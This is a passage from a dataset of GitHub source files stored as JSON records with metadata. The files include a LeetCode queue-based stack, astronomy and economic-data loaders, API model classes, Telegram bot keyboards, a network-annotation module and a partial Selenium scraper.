"datetime.datetime", "line_number": 36, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 38, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 38, "usage_type": "attribute"}]} {"seq_id": "28465856149", "text": "from collections import deque\n\nclass MyStack:\n\n def __init__(self):\n self.queue = deque()\n self.size = 0\n\n def push(self, x: int) -> None:\n size = len(self.queue)\n self.queue.append(x)\n for _ in range(size):\n self.queue.append(self.queue.popleft())\n \n self.size += 1\n\n def pop(self) -> int:\n if self.empty():\n return -1\n \n self.size -= 1\n return self.queue.popleft()\n\n def top(self) -> int:\n if self.empty():\n return -1\n\n return self.queue[0]\n\n def empty(self) -> bool:\n return len(self.queue) == 0\n\nif __name__ == '__main__':\n obj = MyStack()\n\n obj.push(1)\n obj.push(2)\n assert obj.top() == 2\n assert obj.pop() == 2\n assert obj.empty() == False\n", "repo_name": "JianLiu666/StudyNote-DSA", "sub_path": "leetcode/p00225/p00225.py", "file_name": "p00225.py", "file_ext": "py", "file_size_in_byte": 810, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "collections.deque", "line_number": 6, "usage_type": "call"}]} {"seq_id": "32977462275", "text": "import pandas as pd\nfrom astropy import units as u\nfrom astropy.table import QTable\n\nfrom cluster import Cluster, temp_from_vdisp\n\ndef variance(err_neg, err_pos):\n n_temp = temp_from_vdisp(err_neg)\n p_temp = temp_from_vdisp(err_pos)\n return n_temp + p_temp\n\ndef load_clusters(nrows=None):\n # given an integer nrows, returns nrows Clusters generated from GalWeight cluster dataset\n galwcls=pd.read_csv('data/galwcls.dat', sep='|', header=None, nrows=nrows)\n cls_data = {'sig500': galwcls[:][8],\n 'M500': galwcls[:][11],\n 'r200': galwcls[:][13],\n 'sig200':galwcls[:][15],\n 'err_neg':galwcls[:][16],\n 'err_pos':galwcls[:][17],\n 'M200':galwcls[:][18]}\n units = {'sig500': u.km/u.s,\n 'M500': u.Msun,\n 'r200': u.Mpc,\n 'sig200': u.km/u.s,\n 'err_neg':u.km/u.s,\n 'err_pos':u.km/u.s,\n 'M200': u.Msun, }\n cls_table = QTable(cls_data, units=units)\n\n\n clusters = [Cluster(cls_table['r200'][i], cls_table['M200'][i], cls_table['sig200'][i], m500=cls_table['M500'][i]) for i in range(galwcls.shape[0])]\n variances = variance(cls_table['err_neg'], cls_table['err_pos'])\n return clusters, variances", "repo_name": "eleanorstuart/thermo-idm", "sub_path": "load_galweight_data.py", "file_name": "load_galweight_data.py", "file_ext": "py", "file_size_in_byte": 1246, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "cluster.temp_from_vdisp", "line_number": 8, "usage_type": "call"}, {"api_name": "cluster.temp_from_vdisp", "line_number": 9, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 14, "usage_type": "call"}, {"api_name": "astropy.units.km", "line_number": 22, "usage_type": "attribute"}, {"api_name": "astropy.units", "line_number": 22, "usage_type": "name"}, {"api_name": "astropy.units.s", "line_number": 22, "usage_type": "attribute"}, {"api_name": "astropy.units.Msun", "line_number": 23, "usage_type": "attribute"}, {"api_name": "astropy.units", "line_number": 23, "usage_type": "name"}, {"api_name": "astropy.units.Mpc", "line_number": 24, "usage_type": "attribute"}, {"api_name": "astropy.units", "line_number": 24, "usage_type": "name"}, {"api_name": "astropy.units.km", "line_number": 25, "usage_type": "attribute"}, {"api_name": "astropy.units", "line_number": 25, "usage_type": "name"}, {"api_name": "astropy.units.s", "line_number": 25, "usage_type": "attribute"}, {"api_name": "astropy.units.km", "line_number": 26, "usage_type": "attribute"}, {"api_name": "astropy.units", "line_number": 26, "usage_type": "name"}, {"api_name": "astropy.units.s", "line_number": 26, "usage_type": "attribute"}, {"api_name": "astropy.units.km", "line_number": 27, "usage_type": "attribute"}, {"api_name": "astropy.units", "line_number": 27, "usage_type": "name"}, {"api_name": "astropy.units.s", "line_number": 27, "usage_type": "attribute"}, {"api_name": "astropy.units.Msun", "line_number": 28, "usage_type": "attribute"}, {"api_name": "astropy.units", "line_number": 28, "usage_type": "name"}, {"api_name": "astropy.table.QTable", "line_number": 29, "usage_type": "call"}, {"api_name": "cluster.Cluster", "line_number": 32, "usage_type": "call"}]} {"seq_id": "42751192753", "text": "import requests as req\nimport pandas as pd\nfrom glob import glob\nimport os\n\n#execution timer\ndef ex_time(func):\n def execution_time(*args,**kw):\n start = pd.datetime.now()\n execution = func(*args,**kw)\n end = pd.datetime.now()\n print('''execution time: {0}\n '''.format(end-start))\n return execution\n return execution_time\n\n\nclass retrieve_data():\n\n data = {\n 'g17_industrial_production_and_cap_utilization' : {\n 'url':'https://www.federalreserve.gov/datadownload/Output.aspx?rel=G17&series=1aa8d31f88df776eb8dc991ce0b8b974&lastobs=100&from=&to=&filetype=csv&label=include&layout=seriesrow',\n 'output':'g17_industrial_production_and_cap_utilization.csv'\n },\n 'g19_consumer_credit_outst' : {\n 'url':'https://www.federalreserve.gov/datadownload/Output.aspx?rel=G19&series=47b3133fcba3957706678b2a55cb5a97&lastobs=&from=&to=&filetype=csv&label=include&layout=seriescolumn&type=package',\n 'output':'g19_consumer_credit_outst.csv'\n },\n 'monthly_retail_trade_report' : {\n 'url':'https://www.census.gov/retail/mrts/www/mrtssales92-present.xls',\n 'output':'monthly_retail_trade_report.xls'\n },\n 'consumer_confidence_index' : {\n 'url':'https://stats.oecd.org/sdmx-json/data/DP_LIVE/.CCI.../OECD?contentType=csv&detail=code&separator=comma&csv-lang=en',\n 'output':'consumer_confidence_index.csv'\n },\n 'current_dollar_gdp' : {\n 'url':'https://www.bea.gov/system/files/2020-02/gdplev.xlsx',\n 'output':'current_dollar_gdp.xlsx'\n }\n }\n\n @ex_time\n def download_data(self,url,output):\n print('downloading {0}...'.format(url))\n response = req.get(url)\n print('done.')\n print('saving output {0}...'.format(output))\n with open(output,'wb') as f:\n f.write(response.content)\n print('done.')\n return\n\n def download_med_fam_income_data(self):\n #available range 1998-2019\n start_year = 1997\n for i in range(2019-start_year):\n year = str(start_year + i)[-2:]\n url = 'https://www.ffiec.gov/xls/msa{0}inc.xls'.format(year)\n output = 'med_family_income_report{0}.xls'.format(year)\n self.download_data(url,output)\n\n def __init__(self):\n data = self.data\n for item in data:\n self.download_data(data[item]['url'],data[item]['output'])\n self.download_med_fam_income_data()\n\n@ex_time\nclass preprocessing():\n \n #function to clean gdp file\n def gdp(self):\n cd_gdp = pd.read_excel('current_dollar_gdp.xlsx')\n #specify headers\n cd_gdp_headers = ['year','gdp_in_billions_of_current_dollars','gdp_in_billions_of_2012_dollars','blank','year_quarter','gdp_in_billions_of_current_dollars2','gdp_in_billions_of_2012_dollars2','blank2']\n cd_gdp.columns = cd_gdp_headers\n #split into separate dataframes\n gdp_by_year = cd_gdp[['year','gdp_in_billions_of_current_dollars','gdp_in_billions_of_2012_dollars']][7:]\n gdp_by_quarter = cd_gdp[['year_quarter','gdp_in_billions_of_current_dollars2','gdp_in_billions_of_2012_dollars2']][7:]\n #drop na's\n gdp_by_year.dropna(inplace=True)\n gdp_by_quarter.dropna(inplace=True)\n #dump to csv\n gdp_by_quarter.to_csv('gdp_by_quarter.csv',index=False)\n gdp_by_year.to_csv('gdp_by_year.csv',index=False)\n os.remove('current_dollar_gdp.xlsx')\n return\n \n #clean up consumer credit outstanding\n def consumer_credit(self):\n g19 = pd.read_csv('g19_consumer_credit_outst.csv')\n multiplier = g19.loc[1][1:].tolist()\n g19 = g19[7:]\n for i,col in enumerate(g19.columns[1:]):\n g19[col] = pd.to_numeric(g19[col],errors='coerce')\n g19[col] = g19[col] * int(multiplier[i])\n g19.to_csv('consumer_credit.csv',index=False)\n os.remove('g19_consumer_credit_outst.csv')\n return\n\n #function to grab all median family income files and summarize\n def summarize_med_family_inc(self):\n mfi = {\n 'year':[],\n 'total':[]\n }\n files = glob('*med_family*')\n for f in files:\n try:\n df = pd.read_excel(f)\n total = df[[df.columns[-1]]][1:].sum().values[0]\n year = df[[df.columns[-1]]][0:1].values[0][0][:4]\n if year == 'HUD ':\n year = df[[df.columns[-1]]][0:1].values[0][0][14:18]\n mfi['year'].append(year)\n mfi['total'].append(total)\n os.remove(f)\n except:\n print('{0} was unable to load'.format(f))\n pass\n mfi = pd.DataFrame(mfi,columns=['year','total'])\n mfi.to_csv('median_family_income.csv',index=False)\n return\n\n #create function to split up the excel formatting\n def retail_trade(self):\n columns=['business','january','february','march','april',\n 'may','jun','july','august','september','october','november','december']\n df = pd.DataFrame(columns=columns)\n start_year = 1992\n for i in range(2020-start_year):\n year = str(start_year + i)\n ndf = pd.read_excel('monthly_retail_trade_report.xls',sheet_name=year)\n ndf = ndf[ndf.columns[1:14]][7:]\n ndf.dropna(inplace=True)\n ndf.columns = columns\n for i,col in enumerate(ndf.columns[1:]):\n ndf[col] = pd.to_numeric(ndf[col],errors='coerce')\n ndf['year'] = year\n df = df.append(ndf)\n ndf = None\n df.dropna(inplace=True)\n df.to_csv('retail_trade.csv',index=False)\n os.remove('monthly_retail_trade_report.xls')\n return\n \n def __init__(self):\n print('cleaning up files...')\n self.gdp()\n self.consumer_credit()\n self.summarize_med_family_inc()\n self.retail_trade()\n print('done.')\n\n@ex_time\ndef convert_all_to_json():\n files = glob('*.csv')\n for f in files:\n print('converting {0}...'.format(f))\n df = pd.read_csv(f)\n df.to_json(str(f).replace('.csv','.json'),orient='records')\n os.remove(f)\n print('done.')\n return\n \n\nif __name__ == \"__main__\":\n @ex_time\n def run():\n print('processing...')\n retrieve_data()\n preprocessing()\n convert_all_to_json()\n print('run complete.')\n run()", "repo_name": "mark-styx/economic_health", "sub_path": "pull_data.py", "file_name": "pull_data.py", "file_ext": "py", "file_size_in_byte": 6575, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "pandas.datetime.now", "line_number": 9, "usage_type": "call"}, {"api_name": "pandas.datetime", "line_number": 9, "usage_type": "attribute"}, {"api_name": "pandas.datetime.now", "line_number": 11, "usage_type": "call"}, {"api_name": "pandas.datetime", "line_number": 11, "usage_type": "attribute"}, {"api_name": "requests.get", "line_number": 46, "usage_type": "call"}, {"api_name": "pandas.read_excel", "line_number": 74, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 87, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 92, "usage_type": "call"}, {"api_name": "pandas.to_numeric", "line_number": 96, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 99, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 108, "usage_type": "call"}, {"api_name": "pandas.read_excel", "line_number": 111, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 118, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 122, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 130, "usage_type": "call"}, {"api_name": "pandas.read_excel", "line_number": 134, "usage_type": "call"}, {"api_name": "pandas.to_numeric", "line_number": 139, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 145, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 158, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 161, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 163, "usage_type": "call"}]} {"seq_id": "42643431358", "text": "import datetime\nfrom typing import Any, Dict, Type, TypeVar\n\nimport attr\nfrom dateutil.parser import isoparse\n\nT = TypeVar(\"T\", bound=\"CodatPublicApiModelsCompanyCompanyEventStreamItem\")\n\n\n@attr.s(auto_attribs=True)\nclass CodatPublicApiModelsCompanyCompanyEventStreamItem:\n \"\"\"\n Attributes:\n type (str):\n description (str):\n event_time_utc (datetime.datetime):\n \"\"\"\n\n type: str\n description: str\n event_time_utc: datetime.datetime\n\n def to_dict(self) -> Dict[str, Any]:\n type = self.type\n description = self.description\n event_time_utc = self.event_time_utc.isoformat()\n\n field_dict: Dict[str, Any] = {}\n field_dict.update(\n {\n \"type\": type,\n \"description\": description,\n \"eventTimeUtc\": event_time_utc,\n }\n )\n\n return field_dict\n\n @classmethod\n def from_dict(cls: Type[T], src_dict: Dict[str, Any]) -> T:\n d = src_dict.copy()\n type = d.pop(\"type\")\n\n description = d.pop(\"description\")\n\n event_time_utc = isoparse(d.pop(\"eventTimeUtc\"))\n\n codat_public_api_models_company_company_event_stream_item = cls(\n type=type,\n description=description,\n event_time_utc=event_time_utc,\n )\n\n return codat_public_api_models_company_company_event_stream_item\n", "repo_name": "levrofin/levro-codat", "sub_path": "codat_api_client/models/codat_public_api_models_company_company_event_stream_item.py", "file_name": "codat_public_api_models_company_company_event_stream_item.py", "file_ext": "py", "file_size_in_byte": 1390, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "typing.TypeVar", "line_number": 7, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 21, "usage_type": "attribute"}, {"api_name": "typing.Dict", "line_number": 28, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 28, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 23, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 23, "usage_type": "name"}, {"api_name": "typing.Type", "line_number": 40, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 40, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 40, "usage_type": "name"}, {"api_name": "dateutil.parser.isoparse", "line_number": 46, "usage_type": "call"}, {"api_name": "attr.s", "line_number": 10, "usage_type": "call"}]} {"seq_id": "31249519260", "text": "from aiogram.types import ReplyKeyboardMarkup, ReplyKeyboardRemove\nfrom main import tg_bot_database\n\nuser_keyboard = ReplyKeyboardMarkup([[\"/input_number\"]], resize_keyboard=True)\n\nmanager_keyboard = ReplyKeyboardMarkup([[\"/add_employee\"], [\"/delete_employee\"], [\"/input_number\"]],\n resize_keyboard=True)\nadmin_keyboard = ReplyKeyboardMarkup([[\"Stores\"], [\"Managers\"], [\"Workers\"]], resize_keyboard=True)\n\nadmin_stores = ReplyKeyboardMarkup([[\"/add_store\"], [\"/delete_store\"]], resize_keyboard=True)\n\nadmin_managers = ReplyKeyboardMarkup([[\"/add_manager\"], [\"/delete_manager\"]], resize_keyboard=True)\n\nadmin_workers = ReplyKeyboardMarkup([[\"/add_worker\"], [\"/delete_worker\"]], resize_keyboard=True)\n\n\nasync def cities_keyboard():\n cities_list = await tg_bot_database.cities()\n cities_kb = ReplyKeyboardMarkup(resize_keyboard=True)\n for item in cities_list:\n cities_kb.add(item)\n return cities_kb\n\n\nasync def stores_keyboard(city):\n list_of_stores = await tg_bot_database.stores(city)\n stores_kb = ReplyKeyboardMarkup(resize_keyboard=True)\n for item in list_of_stores:\n stores_kb.add(item)\n return stores_kb\n\n\nasync def users_list(city, store, rights):\n list_of_users = await tg_bot_database.get_list(city, store, rights)\n users_kb = ReplyKeyboardMarkup(resize_keyboard=True)\n for item in list_of_users:\n users_kb.add(item)\n return users_kb\n", "repo_name": "MuratSarsembayev/tg_bot_data_collector", "sub_path": "keyboard.py", "file_name": "keyboard.py", "file_ext": "py", "file_size_in_byte": 1435, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "aiogram.types.ReplyKeyboardMarkup", "line_number": 4, "usage_type": "call"}, {"api_name": "aiogram.types.ReplyKeyboardMarkup", "line_number": 6, "usage_type": "call"}, {"api_name": "aiogram.types.ReplyKeyboardMarkup", "line_number": 8, "usage_type": "call"}, {"api_name": "aiogram.types.ReplyKeyboardMarkup", "line_number": 10, "usage_type": "call"}, {"api_name": "aiogram.types.ReplyKeyboardMarkup", "line_number": 12, "usage_type": "call"}, {"api_name": "aiogram.types.ReplyKeyboardMarkup", "line_number": 14, "usage_type": "call"}, {"api_name": "main.tg_bot_database.cities", "line_number": 18, "usage_type": "call"}, {"api_name": "main.tg_bot_database", "line_number": 18, "usage_type": "name"}, {"api_name": "aiogram.types.ReplyKeyboardMarkup", "line_number": 19, "usage_type": "call"}, {"api_name": "main.tg_bot_database.stores", "line_number": 26, "usage_type": "call"}, {"api_name": "main.tg_bot_database", "line_number": 26, "usage_type": "name"}, {"api_name": "aiogram.types.ReplyKeyboardMarkup", "line_number": 27, "usage_type": "call"}, {"api_name": "main.tg_bot_database.get_list", "line_number": 34, "usage_type": "call"}, {"api_name": "main.tg_bot_database", "line_number": 34, "usage_type": "name"}, {"api_name": "aiogram.types.ReplyKeyboardMarkup", "line_number": 35, "usage_type": "call"}]} {"seq_id": "72866996382", "text": "import av\n\n\ndef get_video_container(path_to_vid, multi_thread_decode=False, backend=\"pyav\"):\n \"\"\"\n Given the path to the video, return the pyav video container.\n Args:\n path_to_vid (str): path to the video.\n multi_thread_decode (bool): if True, perform multi-thread decoding.\n backend (str): decoder backend, options include `pyav` and\n `torchvision`, default is `pyav`.\n Returns:\n container (container): video container.\n \"\"\"\n if backend == \"torchvision\":\n with open(path_to_vid, \"rb\") as fp:\n container = fp.read()\n return container\n elif backend == \"pyav\":\n container = av.open(path_to_vid)\n if multi_thread_decode:\n # Enable multiple threads for decoding.\n container.streams.video[0].thread_type = \"AUTO\"\n return container\n else:\n raise NotImplementedError(\"Unknown backend {}\".format(backend))\n", "repo_name": "Ascend/ModelZoo-PyTorch", "sub_path": "PyTorch/contrib/cv/video/X3D/slowfast/datasets/video_container.py", "file_name": "video_container.py", "file_ext": "py", "file_size_in_byte": 937, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 31, "dataset": "github-code", "pt": "7", "api": [{"api_name": "av.open", "line_number": 20, "usage_type": "call"}]} {"seq_id": "43738815558", "text": "import traceback\nfrom typing import List, Dict, Union\n\nimport numpy as np\nimport pandas as pd\nfrom logzero import logger\nfrom moge.network.base import Network\nfrom moge.network.base import SEQUENCE_COL\nfrom moge.network.labels import select_labels, to_list_of_strs\nfrom sklearn import preprocessing\n\nimport openomics\nfrom openomics.transforms.agg import concat_uniques\n\nEPSILON = 1e-16\nMODALITY_COL = \"omic\"\n\n\nclass AttributedNetwork(Network):\n def __init__(self, multiomics: openomics.MultiOmics, annotations=True, **kwargs) -> None:\n \"\"\"\n Handles the MultiOmics attributes associated to the network(s).\n\n :param multiomics: an openomics.MultiOmics instance.\n :param annotations: default True. Whether to run annotations processing.\n :param kwargs: args to pass to Network() constructor.\n \"\"\"\n self.multiomics = multiomics\n\n # Process network & node_list\n super().__init__(**kwargs)\n\n # Process node attributes\n if annotations:\n self.process_annotations()\n self.process_feature_tranformer()\n\n def process_annotations(self):\n annotations_list = []\n\n for modality in self.modalities:\n annotation = self.multiomics[modality].get_annotations()\n annotation[MODALITY_COL] = modality\n annotations_list.append(annotation)\n\n self.annotations = pd.concat(annotations_list, join=\"inner\", copy=True)\n assert type(\n self.annotations.index) != pd.MultiIndex, \"Annotation index must be a pandas.Index type and not a MultiIndex.\"\n\n # self.annotations = self.annotations[~self.annotations.index.duplicated(keep='first')]\n self.annotations = self.annotations.groupby(self.annotations.index).agg(\n {k: concat_uniques for k in self.annotations.columns})\n\n print(\"Annotation columns:\", self.annotations.columns.tolist())\n\n def process_feature_tranformer(self, columns=None, delimiter=\"\\||;\", labels_subset=None, min_count=0,\n verbose=False):\n \"\"\"\n For each of the annotation column, create a sklearn label binarizer. If the column data is delimited, a MultiLabelBinarizer\n is used to convert a list of labels into a vector.\n :param delimiter (str): default \"|\".\n :param min_count (int): default 0. Remove labels with frequency less than this. Used for classification or train/test stratification tasks.\n\n Args:\n columns ():\n \"\"\"\n self.delimiter = delimiter\n\n if not hasattr(self, \"feature_transformer\"):\n self.feature_transformer = {}\n\n df = self.annotations\n if columns:\n df.filter(columns, axis='columns')\n transformers = self.get_feature_transformers(df, node_list=self.node_list, labels_subset=labels_subset,\n min_count=min_count,\n delimiter=delimiter, verbose=verbose)\n self.feature_transformer.update(transformers)\n\n @classmethod\n def get_feature_transformers(cls, annotation: pd.DataFrame,\n labels_subset: List[str] = None,\n min_count: int = 0,\n delimiter=\"\\||;\",\n verbose=False) \\\n -> Dict[str, Union[preprocessing.MultiLabelBinarizer, preprocessing.StandardScaler]]:\n \"\"\"\n :param annotation: a pandas DataFrame\n :param node_list: list of nodes. Indexes the annotation DataFrame\n :param labels_subset: str or list of str for the labels to filter by min_count\n :param min_count: minimum frequency of label to keep\n :param delimiter: default \"\\||;\", delimiter ('|' or ';') to split strings\n :return: dict of feature transformers\n \"\"\"\n transformers: Dict[str, preprocessing.MultiLabelBinarizer] = {}\n for col in annotation.columns:\n if col == SEQUENCE_COL:\n continue\n\n values: pd.Series = annotation[col].dropna(axis=0)\n if values.map(type).nunique() > 1:\n logger.warn(f\"{col} has more than 1 dtypes: {values.map(type).unique()}\")\n\n try:\n if annotation[col].dtypes == np.object and (annotation[col].dropna().map(type) == str).all():\n transformers[col] = preprocessing.MultiLabelBinarizer()\n\n if annotation[col].str.contains(delimiter, regex=True).any():\n logger.info(\"Label {} (of str split by '{}') transformed by MultiLabelBinarizer\".format(col,\n delimiter)) if verbose else None\n values = values.str.split(delimiter)\n values = values.map(\n lambda x: [term.strip() for term in x if len(term) > 0] if isinstance(x, list) else x)\n\n if labels_subset is not None and col in labels_subset and min_count:\n labels_subset = select_labels(values, min_count=min_count)\n values = values.map(lambda labels: [item for item in labels if item not in labels_subset])\n\n transformers[col].fit(values)\n\n elif annotation[col].dtypes == int or annotation[col].dtypes == float:\n logger.info(\"Label {} (of int/float) is transformed by StandardScaler\".format(col)) \\\n if verbose else None\n transformers[col] = preprocessing.StandardScaler()\n\n values = values.dropna().to_numpy()\n transformers[col].fit(values.reshape(-1, 1))\n\n else:\n logger.info(\"Label {} is transformed by MultiLabelBinarizer\".format(col)) if verbose else None\n transformers[col] = preprocessing.MultiLabelBinarizer()\n values = values.map(to_list_of_strs)\n\n transformers[col].fit(values)\n\n if hasattr(transformers[col], 'classes_') and \\\n (\"\" in transformers[col].classes_ or pd.isna(transformers[col].classes_).any()):\n logger.warn(f\"removed '' from classes in {col}\")\n transformers[col].classes_ = np.delete(transformers[col].classes_,\n np.where(transformers[col].classes_ == \"\")[0])\n except Exception as e:\n logger.error(f\"`{col}` dtypes: {values.map(type).unique()}, {e.__class__}: {e}\")\n print(traceback.format_exc())\n continue\n\n logger.info(f'get_feature_transformers `{col}`: '\n f'{transformers[col].classes_.shape if hasattr(transformers[col], \"classes_\") else \"\"}, '\n f'min_count: {min_count}')\n\n return transformers\n\n def get_labels_color(self, label, go_id_colors, child_terms=True, fillna=\"#e5ecf6\", label_filter=None):\n \"\"\"\n Filter the gene GO annotations and assign a color for each term given :param go_id_colors:.\n \"\"\"\n if hasattr(self, \"all_annotations\"):\n labels = self.all_annotations[label].copy(deep=True)\n else:\n labels = self.annotations[label].copy(deep=True)\n\n if labels.str.contains(\"\\||;\", regex=True).any():\n labels = labels.str.split(\"\\||;\")\n\n if label_filter is not None:\n # Filter only annotations in label_filter\n if not isinstance(label_filter, set): label_filter = set(label_filter)\n labels = labels.map(lambda x: [term for term in x if term in label_filter] if x and len(x) > 0 else None)\n\n # Filter only annotations with an associated color\n labels = labels.map(lambda x: [term for term in x if term in go_id_colors.index] if x and len(x) > 0 else None)\n\n # For each node select one term\n labels = labels.map(lambda x: sorted(x)[-1 if child_terms else 0] if x and len(x) >= 1 else None)\n label_color = labels.map(go_id_colors)\n if fillna:\n label_color.fillna(\"#e5ecf6\", inplace=True)\n return label_color\n\n\n", "repo_name": "JonnyTran/MultiOmicsGraphEmbedding", "sub_path": "moge/network/attributed.py", "file_name": "attributed.py", "file_ext": "py", "file_size_in_byte": 8317, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "78", "api": [{"api_name": "moge.network.base.Network", "line_number": 19, "usage_type": "name"}, {"api_name": "openomics.MultiOmics", "line_number": 20, "usage_type": "attribute"}, {"api_name": "pandas.concat", "line_number": 46, "usage_type": "call"}, {"api_name": "pandas.MultiIndex", "line_number": 48, "usage_type": "attribute"}, {"api_name": "openomics.transforms.agg.concat_uniques", "line_number": 52, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 81, "usage_type": "attribute"}, {"api_name": "typing.List", "line_number": 82, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 95, "usage_type": "name"}, {"api_name": "sklearn.preprocessing.MultiLabelBinarizer", "line_number": 95, "usage_type": "attribute"}, {"api_name": "sklearn.preprocessing", "line_number": 95, "usage_type": "name"}, {"api_name": "moge.network.base.SEQUENCE_COL", "line_number": 97, "usage_type": "name"}, {"api_name": "pandas.Series", "line_number": 100, "usage_type": "attribute"}, {"api_name": "logzero.logger.warn", "line_number": 102, "usage_type": "call"}, {"api_name": "logzero.logger", "line_number": 102, "usage_type": "name"}, {"api_name": "numpy.object", "line_number": 105, "usage_type": "attribute"}, {"api_name": "sklearn.preprocessing.MultiLabelBinarizer", "line_number": 106, "usage_type": "call"}, {"api_name": "sklearn.preprocessing", "line_number": 106, "usage_type": "name"}, {"api_name": "logzero.logger.info", "line_number": 109, "usage_type": "call"}, {"api_name": "logzero.logger", "line_number": 109, "usage_type": "name"}, {"api_name": "moge.network.labels.select_labels", "line_number": 116, "usage_type": "call"}, {"api_name": "logzero.logger.info", "line_number": 122, "usage_type": "call"}, {"api_name": "logzero.logger", "line_number": 122, "usage_type": "name"}, {"api_name": "sklearn.preprocessing.StandardScaler", "line_number": 124, "usage_type": "call"}, {"api_name": "sklearn.preprocessing", "line_number": 124, "usage_type": "name"}, {"api_name": "logzero.logger.info", "line_number": 130, "usage_type": "call"}, {"api_name": "logzero.logger", "line_number": 130, "usage_type": "name"}, {"api_name": "sklearn.preprocessing.MultiLabelBinarizer", "line_number": 131, "usage_type": "call"}, {"api_name": "sklearn.preprocessing", "line_number": 131, "usage_type": "name"}, {"api_name": "moge.network.labels.to_list_of_strs", "line_number": 132, "usage_type": "argument"}, {"api_name": "pandas.isna", "line_number": 137, "usage_type": "call"}, {"api_name": "logzero.logger.warn", "line_number": 138, "usage_type": "call"}, {"api_name": "logzero.logger", "line_number": 138, "usage_type": "name"}, {"api_name": "numpy.delete", "line_number": 139, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 140, "usage_type": "call"}, {"api_name": "logzero.logger.error", "line_number": 142, "usage_type": "call"}, {"api_name": "logzero.logger", "line_number": 142, "usage_type": "name"}, {"api_name": "traceback.format_exc", "line_number": 143, "usage_type": "call"}, {"api_name": "logzero.logger.info", "line_number": 146, "usage_type": "call"}, {"api_name": "logzero.logger", "line_number": 146, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 86, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 86, "usage_type": "name"}, {"api_name": "sklearn.preprocessing.MultiLabelBinarizer", "line_number": 86, "usage_type": "attribute"}, {"api_name": "sklearn.preprocessing", "line_number": 86, "usage_type": "name"}, {"api_name": "sklearn.preprocessing.StandardScaler", "line_number": 86, "usage_type": "attribute"}]} {"seq_id": "12665406777", "text": "import json\n\npath_to_json = 'D:\\\\Project_ongoing\\\\magicTheGathering_Recon\\\\script\\\\cards.json'\n\n\ndef extract_first_element(json_str: str):\n json_data = json.loads(json_str)\n\n if isinstance(json_data, dict):\n first_key = list(json_data.keys())[0]\n first_value = json_data[first_key]\n print(f\"First Key: {first_key}, First Value: {json.dumps(first_value, indent=4)}\")\n elif isinstance(json_data, list):\n first_element = json_data[0]\n print(f\"First Element: {json.dumps(first_element, indent=4)}\")\n else:\n print(\"Unsupported JSON type\")\n\n\nif __name__ == \"__main__\":\n with open(path_to_json, 'r', encoding='utf-8') as f:\n json_str = f.read()\n extract_first_element(json_str)\n", "repo_name": "VikInks/cardsultimate", "sub_path": "cards-backend/src/extract_f_element.py", "file_name": "extract_f_element.py", "file_ext": "py", "file_size_in_byte": 738, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "json.loads", "line_number": 7, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 12, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 15, "usage_type": "call"}]} {"seq_id": "40841895227", "text": "#!/usr/bin/python\n# -*- coding: utf-8 -*-\nfrom selenium import webdriver\nfrom bs4 import BeautifulSoup\nimport os\nimport time\nimport csv\nimport sys\n\nimport logging\nlogging.basicConfig(level=logging.INFO)\nlogger = logging.getLogger(__name__)\n\ndriver = webdriver.Chrome(\"/usr/bin/chromedriver\")\n\ndef find_between( s, first, last ):\n\ttry:\n\t\tstart = s.index( first ) + len( first )\n\t\tend = s.index( last, start )\n\t\treturn s[start:end]\n\texcept ValueError:\n\t\treturn \"\"\n\n\nclass Item():\n\t\"\"\"docstring for Item\"\"\"\n\tdef __init__(self):\n\t\tself.item_url \t= \"\"\n\t\tself.name \t\t= \"\"\n\t\tself.img_url \t= \"\"\n\t\tself.prices = []\n\t\tself.sizes\t\t= []\n\n\ndef get_soup_in_country(option, tries=0):\n\tdef click_country_main_menu():\n\t\tdropdown_menu = driver.find_element_by_xpath('//*[@id=\"country_list\"]')\n\t\tdropdown_menu.click()\n\t\topt = driver.find_element_by_xpath('//*[@id=\"country_list\"]/option['+str(option)+']')\n\t\topt.click()\n\tdef click_country():\n\t\tdropdown_menu = driver.find_element_by_xpath('//*[@id=\"country_language_form\"]/ul/li[1]/div/button')\n\t\tdropdown_menu.click()\n\t\topt = driver.find_element_by_xpath('//*[@id=\"country_language_form\"]/ul/li[1]/div/div/ul/li['+str(option)+']')\n\t\topt.click()\n\ttry:\n\t\tclick_country_main_menu()\n\texcept:\n\t\ttry:\n\t\t\tclick_country()\n\t\texcept:\n\t\t\tif tries < 